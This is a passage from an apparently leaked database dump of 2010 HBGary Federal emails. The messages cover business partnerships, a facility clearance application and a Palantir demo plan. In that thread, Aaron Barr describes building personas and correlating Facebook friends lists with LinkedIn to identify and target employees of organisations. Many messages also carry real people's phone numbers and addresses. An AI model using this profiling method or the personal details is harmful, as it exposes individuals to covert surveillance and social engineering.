attachments, along with any copies thereof.-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, August 31, 2010 4:01 PMTo: Gertler, David @ STRATIS; Korns, Stephen @ STRATIS; DeFreitas, John @ STRATISCc: Miller, Alexander A @ STRATISSubject: Follow up to our discussionGentlemen,Thank you for meeting with me today and for the good discussion aroundcyber. &nbsp;Please let me know what areas of our discussion are of mostinterest for follow up and we can set up the necessary demos ortechnical discussions.For refresher:Focus areas: threat intelligence, incident response, IO/CNOPartnerships: Fidelis, End Games, Palantir, Mcafee, Guidance, VerdasysTechnologies: forensics, malware analysis, enterprise advanceddetection, volume malware processing, threat intelligenceServices: incident response, malware analysis, social media pentesting, IO/CNO, SOCTraining: malware analysis, social mediaOn a side note we have a lot of interest and capability in differentaspects of social media, game technology, and location based servicesthat might be of interest.Respectfully,AaronSent from my iPad',6207,'aaron_hbgary_com/6207.html'),(11144,'2010-09-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008516.M337034P14101Q5999.eml','stephen.korns@l-3com.com','Re: HB>gary - Follow up to our discussion','Steve,\r\n\r\nAgreed.  Talking about our capabilities and yours in the context of some targeted opportunities will help us to focus on the elements of a fruitful partnership.\r\n\r\nAaron\r\n\r\nOn Sep 1, 2010, at 10:04 AM, stephen.korns@l-3com.com wrote:\r\n\r\n> Aaron - really appreciated the opportunity learn more about HB>Gary.  I have very positive view about your capabilities, and opportunities for partnering etc...\r\n> I would think further meeting with Alex focused on NSA and CYBERCOM might be a good next step.\r\n> \r\n> Thoughts?  \r\n> \r\n> \r\n> \r\n> Regards,\r\n> \r\n> Steve\r\n> \r\n> Steve Korns\r\n> Director of Cyber Solutions\r\n> Intelligence Solutions Business Unit\r\n> L-3 STRATIS \"Powered by Excellence\"\r\n> 301.575.3673 (Office at Annapolis Junction, MD)\r\n> 703.434.4558 (Office at Reston, VA)\r\n> 240.472.0509 (Cell)\r\n> stephen.korns@l3com-com\r\n> \r\n> \r\n> \r\n> This electronic message, including its attachments, is COMPANY CONFIDENTIAL and may contain PROPRIETARY or LEGALLY PRIVILEGED information.  If you are not the intended recipient, you are hereby notified that any use, disclosure, copying, or distribution of this message or any of the information included in it is unauthorized and strictly prohibited.  If you have received this message in error, please immediately notify the sender by reply e-mail and permanently delete this message and its attachments, along with any copies thereof.\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, August 31, 2010 4:01 PM\r\n> To: Gertler, David @ STRATIS; Korns, Stephen @ STRATIS; DeFreitas, John @ STRATIS\r\n> Cc: Miller, Alexander A @ STRATIS\r\n> Subject: Follow up to our discussion\r\n> \r\n> Gentlemen,\r\n> \r\n> Thank you for meeting with me today and for the good discussion around\r\n> cyber.  Please let me know what areas of our discussion are of most\r\n> interest for follow up and we can set up the necessary demos or\r\n> technical discussions.\r\n> \r\n> For refresher:\r\n> Focus areas: threat intelligence, incident response, IO/CNO\r\n> \r\n> Partnerships: Fidelis, End Games, Palantir, Mcafee, Guidance, Verdasys\r\n> Technologies: forensics, malware analysis, enterprise advanced\r\n> detection, volume malware processing, threat intelligence\r\n> Services: incident response, malware analysis, social media pen\r\n> testing, IO/CNO, SOC\r\n> Training: malware analysis, social media\r\n> \r\n> On a side note we have a lot of interest and capability in different\r\n> aspects of social media, game technology, and location based services\r\n> that might be of interest.\r\n> \r\n> Respectfully,\r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n\r\n',16773,'aaron_hbgary_com/16773.html'),(11145,'2010-09-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008516.M593498P14101Q6000.eml','\"Catherine Weeks\" <cweeks@digitalmanagement.com>,\"Catherine Weeks\" <cweeks@digitalmanagement.com>','Re: Information Needed for Sponsorship Letter','On the facility clearance. &nbsp;Does this need to be to clear a physical space or just to hold clearances?AaronOn Aug 31, 2010, at 5:10 PM, Catherine Weeks wrote:Aaron:&nbsp;As discussed this afternoon, Digital Management, Inc. is pleased to sponsor HPGary Federal for a Facility Clearance (FCL). I will need the following information to get the ball rolling:&nbsp;Name of Facility (this should match the name on your articles of incorporation):&nbsp;Physical Address (no P.O. boxes):&nbsp;City, State and Zip Code:&nbsp;Level of Clearance required:&nbsp;Point of Contact at the Facility:&nbsp;Point of Contact\'s Telephone #:&nbsp;Point of Contact\'s Fax #:&nbsp;Point of Contact\'s E-mail Address:&nbsp;Once I get the information, I will develop a sponsorship letter. This letter is the first step in the process. The link below provides a good checklist of information to gather and forms to complete for new facility security clearances. To help expedite the facility security clearance process, it is helpful to have information gathered and forms complete before your first visit by a DSS Industrial Security Representative.&nbsp;http://www.dss.mil/isp/fac_clear/fac_clear_check.html&nbsp;If you have any questions related to the facility security clearance process, please contact me.&nbsp;Cathy WeeksDeputy FSODigital Management, Inc.1302 Concourse Drive . Suite 301 . Linthicum, MD 21090ph 240-744-3040 | mobile 301-461-8336&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;',3067,'aaron_hbgary_com/3067.html'),(11146,'2010-09-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008516.M852346P14101Q6001.eml','\"Aaron Zollman\" <azollman@palantir.com>','Re: Another Killer Demo','I am going to be in Mclean most of the day.  Where are you going to be tomorrow.\r\n\r\nAaron\r\n\r\n\r\nOn Aug 31, 2010, at 5:04 PM, Aaron Zollman wrote:\r\n\r\n> \r\n> Sounds good. Pick a time 2pm ET or later. Dropping by Bethesda would be on\r\n> the way Thursday, too.\r\n> \r\n> \r\n> _________________________________________________________\r\n> Aaron Zollman\r\n> Palantir Technologies | Embedded Analyst\r\n> azollman@palantir.com | 202-684-8066\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, August 30, 2010 10:38 PM\r\n> To: Aaron Zollman\r\n> Cc: Matthew Steckman; Ted Vera; Mark Trynor\r\n> Subject: Re: Another Killer Demo\r\n> \r\n> I get it on the breakout sessions.  We would like to pursue the path to\r\n> breakout with fingerprint data.  That hasn\'t changed.\r\n> \r\n> So here is the dynamic I am working with right now.\r\n> \r\n> We have separate customers interested in our ability to do volume malware\r\n> processing and threat intelligence (this is TMC, Fingerprint, and\r\n> Palanatir).\r\n> \r\n> We have other customers, mostly on offense, that are interested in Social\r\n> Media for other things.\r\n> \r\n> In the end both of these capabilities come together to build real threat\r\n> intelligence marrying up malware data with social media data, just baby\r\n> steps.\r\n> \r\n> The social media stuff seems like low hanging fruit, so lets have a phone\r\n> conversation on that on Thursday to discuss what are the next steps and\r\n> when.\r\n> \r\n> On the threat intelligence side we have some prep work to do.  Greg told me\r\n> that the data that he has is basically not available.  Something about\r\n> giving the TMC to HBGary Fed and dropping that because it was taking to many\r\n> development resources and they need to focus.  What does that mean, not a\r\n> huge deal, but we need to rerun our malware through the TMC and then through\r\n> fingerprint and then take that data into Palantir.  Right now we are running\r\n> at max speed the rest of the week to get our Pentest report done and out to\r\n> the customer by Thursday.  So on Monday next week we can regroup with Mark I\r\n> think and talk about how to get the threat intel stuff going.  We have a\r\n> meeting with US-CERT on the 9th and it would be good to be able to tell them\r\n> a little more than what we have right now, meaning we have a plan to\r\n> execute.  The stick here is in our hands.  I will reread your last email,\r\n> head is flooded, and we can readdress this on Thursday as well.\r\n> \r\n> Sound ok?  Good thing is potential customers definitely interested.\r\n> \r\n> Lets do a webex on Thursday instead I can show you a few things I am working\r\n> on.  I will set it up.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Aug 30, 2010, at 9:18 PM, Aaron Zollman wrote:\r\n> \r\n>> \r\n>> 	For the two breakout spaces, we\'re looking for an integration that\r\n>> focuses more on technical data. While I\'d like to talk through this\r\n> proposed\r\n>> workflow some more -- and it\'s certainly appropriate for the demo station\r\n>> you guys will have at GovCon -- it may not be right for the breakout\r\n>> sessions where Steckman and I have to focus our development energy. But\r\n>> let\'s walk down the path a little further before we decide anything:\r\n>> \r\n>> 	Is the idea that we\'d want to ingest all of Facebook\'s data, or just\r\n>> a targeted subset for a few users of interest; possibly using helpers to\r\n>> reach out to the API\'s? \r\n>> \r\n>> 	Pete Warden (petesearch.blogspot.com) ran into some issues with\r\n>> their AUP, resulting in a lawsuit, when he crawled most of Facebook\'s\r\n> social\r\n>> graph to build some statistics. I\'d be worried about doing the same. (I\'d\r\n>> ask him for his Facebook data -- he\'s a fan of Palantir -- but he\'s\r\n> already\r\n>> deleted it.)\r\n>> \r\n>> 	Aaron B, I\'m available most of tomorrow and Thursday afternoon if\r\n>> you want to build out the workflow a little. The new cyber ontology has an\r\n>> \"online account\" type set up by default; we can start by preparing a\r\n>> Facebook Account subtype and build outward from there. \r\n>> \r\n>> 	Phone call good enough, or should we set up shop somewhere with data\r\n>> and laptops? \r\n>> \r\n>> \r\n>> _________________________________________________________\r\n>> Aaron Zollman\r\n>> Palantir Technologies | Embedded Analyst\r\n>> azollman@palantir.com | 202-684-8066\r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Monday, August 30, 2010 8:54 AM\r\n>> To: Aaron Zollman\r\n>> Cc: Matthew Steckman; Ted Vera; Mark Trynor\r\n>> Subject: Re: Another Killer Demo\r\n>> \r\n>> I think you would be demonstrating something completely new from a\r\n> security\r\n>> standpoint.  Twitter requires no authentication.  Follow anyone you want.\r\n>> Facebook requires an acknowledgement to be included.  Peoples Facebook\r\n>> friends lists are much closer to representing someones actual social\r\n> circle\r\n>> than just another source of information.  This has huge security\r\n>> consequences.  My hypothesis is there is an immense amount of information\r\n> we\r\n>> can glean from this information.  I have actually already proven this on a\r\n>> small scale doing research manually.  I have been able to determine people\r\n>> who are employees of specific companies even though their profile was\r\n>> completely blocked, except their friends lists.  I correlated friends\r\n> lists\r\n>> across multiple people who I knew were employees of a particular company\r\n> to\r\n>> determine this.  I also was able to cross this information with Linkedin\r\n>> information and determine people that were in subcontracting relationships\r\n>> to other companies.  I think all of the facebook information in a Palantir\r\n>> framework could result in some of the most significant security\r\n> revelations\r\n>> related to social media yet published.  No more handwaving, but real data\r\n> to\r\n>> show the vulnerabilities.  There is a huge social engineering /targeting\r\n>> potential here as well.  If I wanted to target a particular organization\r\n>> what groups should I belong to, who are the influencers in the group, who\r\n>> has the most connections, etc.\r\n>> \r\n>> Lets get together to discuss and I can walk you through some of the stuff\r\n> I\r\n>> am doing with persona development and social media exploitation.\r\n>> \r\n>> Aaron\r\n>> On Aug 27, 2010, at 2:43 PM, Aaron Zollman wrote:\r\n>> \r\n>>> \r\n>>> 	It\'d be even easier with the graph APIs...\r\n>>> http://graph.facebook.com/ ... JSON parser & an API key and we could\r\n> knock\r\n>>> it out pretty quick. (Someone else\'s facebook account, please, though!)\r\n>>> \r\n>>> 	What\'s the workflow we\'d be shooting for, other than as a\r\n>>> visualization front-end for an organization\'s structure? \r\n>>> \r\n>>> \r\n>>> \r\n>>> 	I think we\'ve done a twitter presentation at Govcon in the past --\r\n>>> trying to hunt down the video -- so we wouldn\'t be demonstrating anything\r\n>>> new just by expanding it to facebook. But that wasn\'t specifically in a\r\n>>> pen-testing/cybersecurity context. An integration with this and some\r\n> other\r\n>>> pen-testing data -- known account identifiers, and data collected from\r\n>> them,\r\n>>> for example -- might be cool. If we could bring in some malware\r\n>> fingerprint \r\n>>> data too, and build a whole \"here\'s how we pwned your network\"\r\n>>> exploration...\r\n>>> \r\n>>> 	I\'ve got the OSVDB (vulnerability database integrated), if it\'d be\r\n>>> helpful.\r\n>>> \r\n>>> \r\n>>> \r\n>>> _________________________________________________________\r\n>>> Aaron Zollman\r\n>>> Palantir Technologies | Embedded Analyst\r\n>>> azollman@palantir.com | 202-684-8066\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>> Sent: Thursday, August 26, 2010 11:43 AM\r\n>>> To: Matthew Steckman\r\n>>> Cc: Aaron Zollman; Ted Vera; Mark Trynor\r\n>>> Subject: Re: Another Killer Demo\r\n>>> \r\n>>> On the social side here is what I would like to do.  I think between Mark\r\n>>> and Aaron this could be put together very quickly and would be powerful.\r\n>>> \r\n>>> start with a profile in facebook.\r\n>>> \r\n>>> http://www.facebook.com/profile.php?id=100001092994636\r\n>>> \r\n>>> View the source of that page.  There is all kinds of information we can\r\n>>> collect and parse to build some very robust social maps.\r\n>>> Those people that provide information and have their friends lists\r\n> exposed\r\n>>> provide an incredible social engineering and recon tool.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> \r\n>>> On Aug 26, 2010, at 11:18 AM, Matthew Steckman wrote:\r\n>>> \r\n>>>> Brandon is a rockstar!!! Good call.\r\n>>>> \r\n>>>> Let us know if you want help on the demo, sounds like it could be really\r\n>>>> interesting.  We\'d probably love to make a video of is as well to put up\r\n>>> on\r\n>>>> our analysis blog (with HBGary branding of course!).\r\n>>>> \r\n>>>> Matthew Steckman\r\n>>>> Palantir Technologies | Forward Deployed Engineer\r\n>>>> msteckman@palantir.com | 202-257-2270\r\n>>>> \r\n>>>> Follow @palantirtech\r\n>>>> Watch youtube.com/palantirtech\r\n>>>> Attend Palantir Night Live\r\n>>>> \r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>>> Sent: Wednesday, August 25, 2010 10:36 PM\r\n>>>> To: Matthew Steckman\r\n>>>> Cc: Aaron Zollman\r\n>>>> Subject: Another Killer Demo\r\n>>>> \r\n>>>> Matt,\r\n>>>> \r\n>>>> I have been doing talks on social media, have a lot more scheduled,\r\n> along\r\n>>>> with some training gigs.  In the process I am setting up a lot of\r\n>> personas\r\n>>>> and doing social media pen testing against organizations.\r\n>>>> \r\n>>>> What I have found is there is an immense amount of information peoples\r\n>>>> friends lists as well as other social media digital artifacts can tell\r\n>> us.\r\n>>>> I think Palantir would be an awesome tool to present and use for\r\n>> analysis.\r\n>>>> We are just going to have to get someone to write a helper app.  I am\r\n>>> hoping\r\n>>>> to be able to hire Brandon Colston soon.\r\n>>>> \r\n>>>> Aaron\r\n>>> \r\n>> \r\n> \r\n\r\n',5377,'aaron_hbgary_com/5377.html'),(11147,'2010-09-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008517.M263968P14101Q6003.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Classified Capabilities Brief','Hi Joe,\r\n\r\nCan I give you a call to talk a little about the opportunity and we can discuss when is a good time to come out?\r\n\r\nAaron\r\n\r\nOn Aug 30, 2010, at 12:54 PM, Ted Vera wrote:\r\n\r\n> Hi Joe,\r\n> \r\n> I just spoke with Aaron (cc\'d).  He is planning to be in the Springs September 15-17th.  Would either the 15th or the 17th work for a classified capabilities brief?  If there is an immediate need he may be able to travel sooner - when would the customer like to meet?\r\n> \r\n> Feel free to coordinate directly with Aaron -- cell:  719-510-8478.\r\n> \r\n> Regards,\r\n> Ted\r\n> \r\n\r\n',1466,'aaron_hbgary_com/1466.html'),(11148,'2010-09-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008517.M469008P14101Q6004.eml','\"Catherine Weeks\" <cweeks@digitalmanagement.com>,\"Catherine Weeks\" <cweeks@digitalmanagement.com>,','Re: Information Needed for Sponsorship Letter','On Aug 31, 2010, at 5:10 PM, Catherine Weeks wrote:Aaron:&nbsp;As discussed this afternoon, Digital Management, Inc. is pleased to sponsor HPGary Federal for a Facility Clearance (FCL). I will need the following information to get the ball rolling:&nbsp;Name of Facility (this should match the name on your articles of incorporation):HBGary Federal, LLCPhysical Address (no P.O. boxes):&nbsp;103 South Wahsatch Ave, Lower Level Suite ACity, State and Zip Code:&nbsp;Colorado Springs, CO 80903Level of Clearance required:&nbsp;TS/SCIPoint of Contact at the Facility:&nbsp;Ted VeraPoint of Contact\'s Telephone #:&nbsp;719.237.8623Point of Contact\'s Fax #:916.481.1460Point of Contact\'s E-mail Address:ted@hbgary.com&nbsp;Once I get the information, I will develop a sponsorship letter. This letter is the first step in the process. The link below provides a good checklist of information to gather and forms to complete for new facility security clearances. To help expedite the facility security clearance process, it is helpful to have information gathered and forms complete before your first visit by a DSS Industrial Security Representative.&nbsp;http://www.dss.mil/isp/fac_clear/fac_clear_check.html&nbsp;If you have any questions related to the facility security clearance process, please contact me.&nbsp;Cathy WeeksDeputy FSODigital Management, Inc.1302 Concourse Drive . Suite 301 . Linthicum, MD 21090ph 240-744-3040 | mobile 301-461-8336&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;',10354,'aaron_hbgary_com/10354.html'),(11149,'2010-09-01','\"Catherine Weeks\" <cweeks@digitalmanagement.com>','/aaron@hbgary.com/new/1297008517.M54162P14101Q6002.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Information Needed for Sponsorship Letter','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThe facility clearance is essentially a process to clear your\r\ncompany. In most cases, a company will only need to hold clearances. In other\r\ncases, a company may want to be cleared to possess and safeguard classified\r\ndocuments in their physical space. On the initial letter that I will send to\r\nthe Defense Security Service (DSS), there is a question as to whether\r\nsafeguarding is necessary. Initially this answer will be no, since safeguarding\r\nrequires a much longer process. If safeguarding is required in the future after\r\nyou are initially cleared, then your organization will work with DSS to make\r\nthat happen. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nCathy Weeks\r\n\r\nph 240-744-3040 | mobile 301-461-8336\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 01, 2010 10:57 AM\r\nTo: Catherine Weeks\r\nCc: William Luti\r\nSubject: Re: Information Needed for Sponsorship Letter\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOn the facility clearance. &nbsp;Does this need to be to\r\nclear a physical space or just to hold clearances?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 31, 2010, at 5:10 PM, Catherine Weeks wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAs\r\ndiscussed this afternoon, Digital Management, Inc. is pleased to sponsor HPGary\r\nFederal for a Facility Clearance (FCL). I will need the following information\r\nto get the ball rolling:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nName\r\nof Facility (this should match the name on your articles of incorporation):\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPhysical\r\nAddress (no P.O. boxes):\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCity,\r\nState and Zip Code:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLevel\r\nof Clearance required:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPoint\r\nof Contact at the Facility:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPoint\r\nof Contact\'s Telephone #:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPoint\r\nof Contact\'s Fax #:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPoint\r\nof Contact\'s E-mail Address:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOnce\r\nI get the information, I will develop a sponsorship letter. This letter is the\r\nfirst step in the process. The link below provides a good checklist of\r\ninformation to gather and forms to complete for new facility security\r\nclearances. To help expedite the facility security clearance process, it is\r\nhelpful to have information gathered and forms complete before your first visit\r\nby a DSS Industrial Security Representative.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.dss.mil/isp/fac_clear/fac_clear_check.html\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIf\r\nyou have any questions related to the facility security clearance process,\r\nplease contact me.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCathy\r\nWeeks\r\n\r\n\r\n\r\n\r\n\r\nDeputy\r\nFSO\r\n\r\n\r\n\r\n\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n\r\n\r\n\r\n\r\n1302\r\nConcourse Drive . Suite 301 . Linthicum, MD 21090\r\n\r\n\r\n\r\n\r\n\r\nph\r\n240-744-3040 | mobile 301-461-8336\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7053,'aaron_hbgary_com/7053.html'),(11150,'2010-09-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008517.M698081P14101Q6005.eml','\"Daniel Collender\" <dcollend@digitalglobe.com>','Re: Quick Question','Daniel,Still looking. &nbsp;Ted is going to reach out to the Colorado Chapters of ISSA to see if they have someone. &nbsp;I can\'t solidly remember, does it require or just desire a clearance? &nbsp;Can you list me key required MCSFT Technologies to make sure I hit the right ones.AaronOn Aug 30, 2010, at 7:01 PM, Daniel Collender wrote:Hi Aaron,&nbsp;I still owe you a response regarding the training options we would like to pursue.&nbsp;However, I was curious if you had&nbsp; a chance to think about my resource request for a senior Windows Security Architect for a special project here at DigitalGlobe.&nbsp;Do you have any contacts/friends/peers who have USG experience and might be suitable?&nbsp;Thanks!&nbsp;Dan',12593,'aaron_hbgary_com/12593.html'),(11151,'2010-09-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008517.M926464P14101Q6006.eml','\"Ray Owen\" <ray.owen@comcast.net>,\"Ray Owen\" <ray.owen@comcast.net>','Cyber Accelerator','Just checking in on status.\r\n\r\nAlso, Greg and me have come up with a new twist that combines social/virtual/local that I would like to run by you and get your thoughts.  We are going to build it, we have some of the pieces already prototyped.  It has the potential to unseat Foursquare and Zynga as the hot tech.  We are looking for options for angel investment as well.\r\n\r\nAaron',5186,'aaron_hbgary_com/5186.html'),(11152,'2010-09-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008518.M167385P14101Q6007.eml','\"Robert Frisbie\" <Robert.Frisbie@ManTech.com>','Idea','Hi Bob,\r\n\r\nGreg Hoglund and I have come up with a new concept that combines social/virtual/local.  I believe it has the potential to unseat Zynga and Foursquare as the hot technologies in this space.  We are starting to prototype it and are looking for angel investors to help build it.  I thought I would make you aware of it since now a days all things social have a potential government interest.  If your interested I can come by and explain the details of the idea.\r\n\r\nAaron',5452,'aaron_hbgary_com/5452.html'),(11153,'2010-09-01','\"Catherine Weeks\" <cweeks@digitalmanagement.com>','/aaron@hbgary.com/new/1297008519.M748053P14101Q6008.eml','occ.facilities@dss.mil','Facility Security Clearance Sponsorship Request','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease find attached a Facility Security Sponsorship for\r\nHBGary Federal, LLC. Also attached is the Digital Management DD254 under which\r\nthis sponsorship is requested.\r\n\r\n&nbsp;\r\n\r\nIf you have any questions regarding this request, please\r\ncontact the undersigned.\r\n\r\n&nbsp;\r\n\r\nRespectfully,\r\n\r\n&nbsp;\r\n\r\nCatherine Weeks\r\n\r\nFacility Security Office\r\n\r\nDigital Management, Inc.\r\n\r\n\r\nFSO Office location:\r\n1302 Concourse Drive . Suite 301 . Linthicum, MD 21090\r\n\r\nph 240-744-3040 | mobile 301-461-8336 | efax: 702-995-7699\r\n\r\n&nbsp;\r\n\r\nCorporate HQ:\r\n\r\n6701 Democracy Boulevard . Suite 500. Bethesda, MD 20817\r\n\r\nPh 240-223-4800\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11924,'aaron_hbgary_com/11924.html'),(11154,'2010-09-01','\"Maier, Raymond \\\"Joe\\\" (US SSA) (US ASTSS Huntsville)\" <raymond.maier@baesystems.com>','/aaron@hbgary.com/new/1297008520.M423144P14101Q6010.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Classified Capabilities Brief','Aaron,\r\nI am with a customer most of today. I will send you a note when free.\r\n\r\n\r\nJoe Maier\r\n719.235.1898 - Mobile\r\n719.325.8445 - Work\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, 01 September, 2010 09:06 AM\r\nTo: Ted Vera\r\nCc: Maier, Raymond \"Joe\" (US SSA) (US ASTSS Huntsville)\r\nSubject: Re: Classified Capabilities Brief\r\n\r\nHi Joe,\r\n\r\nCan I give you a call to talk a little about the opportunity and we can discuss when is a good time to come out?\r\n\r\nAaron\r\n\r\nOn Aug 30, 2010, at 12:54 PM, Ted Vera wrote:\r\n\r\n> Hi Joe,\r\n> \r\n> I just spoke with Aaron (cc\'d).  He is planning to be in the Springs September 15-17th.  Would either the 15th or the 17th work for a classified capabilities brief?  If there is an immediate need he may be able to travel sooner - when would the customer like to meet?\r\n> \r\n> Feel free to coordinate directly with Aaron -- cell:  719-510-8478.\r\n> \r\n> Regards,\r\n> Ted\r\n> \r\n\r\n',10379,'aaron_hbgary_com/10379.html'),(11155,'2010-09-01','\"Traci Wei\" <twei@capsllc.net>','/aaron@hbgary.com/new/1297008520.M675272P14101Q6011.eml','first-2011announce@first.org','[first-2011announce] FIRST 2011: 23rd Annual Call for Speakers!','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDear\r\ncolleague,\r\n\r\n&nbsp;\r\n\r\nGuess\r\nwhat? It&#8217;s time to start thinking about the 23rd Annual FIRST\r\nConference, 12-17 June 2010 in Vienna, Austria!\r\n\r\n&nbsp;\r\n\r\nIf\r\nyou are a member of FIRST, you will have already seen the Call for Speakers\r\nfrom the 2011 Program Chair, Gavin Reid, that was sent to the Teams and\r\ndiscussion lists.&nbsp; \r\n\r\nIf\r\nyou are not a member, please see the call below.&nbsp; The 23rd\r\nAnnual Call for Speakers is open to members and non-members.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThe\r\nCall for Speakers and the link to the submission form is also available at the\r\nconference website (http://conference.first.org).&nbsp;\r\nWe wish you all the best of luck! \r\n\r\n&nbsp;\r\n\r\nNew\r\nPodcast! Interview with Gavin Reid\r\n\r\nAs\r\npart of our transition into the 2011 conference season, an interview with Gavin\r\nhas been made available (http://conference.first.org).&nbsp;\r\nGavin is Manager of the Cisco CSIRT and a long time supporter of FIRST and its\r\ninitiatives.&nbsp; He has spent countless volunteer hours as a Program\r\nCommittee member over the years and is ecstatic to be chairing the 2011\r\nconference.&nbsp; \r\n\r\n&nbsp;\r\n\r\nConnect\r\nwith FIRST\r\n\r\nTwitter:\r\nhttp://www.twittter.com/firstdotorg\r\n\r\nLinkedIn\r\nEvent Calendar: http://events.linkedin.com/23rd-Annual-FIRST-Conference/pub/355423\r\n\r\nFacebook\r\nFan Page: http://www.facebook.com/pages/FIRSTOrg-Annual-Conference/133713683330386?ref=ts\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n=====================2011\r\nCALL FOR SPEAKERS======================================= \r\n\r\nThe\r\nForum of Incident Response and Security Teams (FIRST.Org) is issuing a Call for\r\nSpeakers for the 23rd Annual FIRST Conference to be held in Vienna Austria,\r\n12-17th June 2011.\r\n\r\n&nbsp;\r\n\r\nThe\r\n2011 Program will have three tracks focusing on Management, Incident Response\r\nand Technical topics relevant to computer security teams and practitioners. \r\n\r\n&nbsp;\r\n\r\nThe\r\nFIRST program committee solicits original contributions for this conference,\r\nwhich are broadly based on the theme of Security Lessons: What Can\r\nHistory Teach Us? For a more in-depth description of the conference\r\ntheme, please visit http://conference.first.org/.&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\nAll\r\nsubmissions must reflect original work and must adequately document any overlap\r\nwith previously published or simultaneously submitted presentations or papers from\r\nany of the authors. If authors have any doubts regarding whether such overlap\r\nexists, they should contact the Program Chair (first-2011chair@first.org) prior to\r\nsubmission.&nbsp;&nbsp;&nbsp; \r\n\r\n&nbsp;\r\n\r\nPresentations \r\n\r\nTimeslots\r\nare available in two lengths:\r\n\r\n&nbsp;\r\n\r\na)\r\n30 Minutes, which includes 10 minutes of Q&amp;A\r\n\r\nb)\r\n60 Minutes, which includes 10 minutes of Q&amp;A\r\n\r\n&nbsp;\r\n\r\nThere\r\nwill be no presentations with the aim of gaining the audience\'s interest in any\r\ncommercial application or product, in other words:&nbsp; NO MARKETING\r\nPRESENTATIONS. We are especially interested in presentations that trace\r\nreal cybercrime through detection to action.&nbsp; We would also like to see\r\ncase studies focusing on incidents/issues that did not 